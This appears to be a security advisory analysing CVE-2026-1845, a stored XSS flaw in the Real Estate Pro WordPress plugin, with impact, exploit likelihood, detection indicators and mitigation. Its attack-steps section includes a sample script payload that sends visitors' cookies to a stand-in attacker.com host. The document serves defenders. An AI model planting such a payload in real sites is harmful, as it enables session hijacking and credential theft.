CVE-2026-1845: 
WordPress vulnerability analysis and mitigation

CVE-2026-1845 is a Stored Cross-Site Scripting (XSS) vulnerability in the Real Estate Pro plugin for WordPress, affecting all versions up to and including 1.0.9. The flaw stems from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. The vulnerability is limited in scope: it only affects WordPress multi-site installations or single-site installations where the unfiltered_html capability has been disabled. It was published on April 22, 2026, with a CVSS v3.1 base score of 5.5 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is that the Real Estate Pro plugin fails to properly sanitize user-supplied input stored via admin settings and does not escape this data on output, allowing malicious script content to be persisted in the database and rendered in page responses. Exploitation requires network access and authenticated administrator-level credentials, but no user interaction is needed for the injected scripts to execute once stored. The attack vector is network-based with low complexity, and the scope is changed, meaning the injected scripts can affect users beyond the administrator's own session (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated administrator to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected pages. This can lead to credential theft, session hijacking, malware distribution, or unauthorized actions performed on behalf of victims. The impact is limited to confidentiality (low) and integrity (low), with no availability impact, and is further constrained to multi-site WordPress environments or those with unfiltered_html disabled (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.007% (1st percentile), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires administrator-level authentication, which significantly limits the attacker pool (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify a WordPress multi-site installation or a site with unfiltered_html disabled that is running the Real Estate Pro plugin version 1.0.9 or earlier.
2. Obtain Administrator Credentials: Gain access to an administrator-level WordPress account through phishing, credential stuffing, or other means.
3. Access Admin Settings: Log in to the WordPress admin dashboard and navigate to the Real Estate Pro plugin settings page.
4. Inject Malicious Payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable admin settings field that lacks proper sanitization.
5. Persist the Payload: Save the settings, causing the malicious script to be stored in the WordPress database.
6. Trigger Execution: Any user (including non-administrators) who visits a page that renders the injected setting will have the script execute in their browser, enabling session hijacking or credential theft (Wordfence).

• Logs: WordPress admin audit logs showing unexpected changes to Real Estate Pro plugin settings, particularly from unfamiliar IP addresses or at unusual times.
• Database: Presence of <script> tags or encoded JavaScript (e.g., <script>, eval(, document.cookie) in the Real Estate Pro plugin's settings records in the wp_options table.
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages that render Real Estate Pro plugin content, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin configuration files or the presence of unfamiliar PHP files within the Real Estate Pro plugin directory (/wp-content/plugins/re-pro/).

Update the Real Estate Pro plugin to a version newer than 1.0.9 as soon as a patched release is available from the WordPress plugin repository. A patch was noted as available as of April 22, 2026 (GitHub Advisory). As interim mitigations, restrict administrator privileges to only trusted users, enable unfiltered_html only where strictly necessary (noting this vulnerability does not affect sites where it is enabled), and monitor admin accounts for suspicious activity or unauthorized settings changes (Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for the week of April 20–26, 2026, noting no public proof-of-concept or active exploitation at the time of disclosure (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified.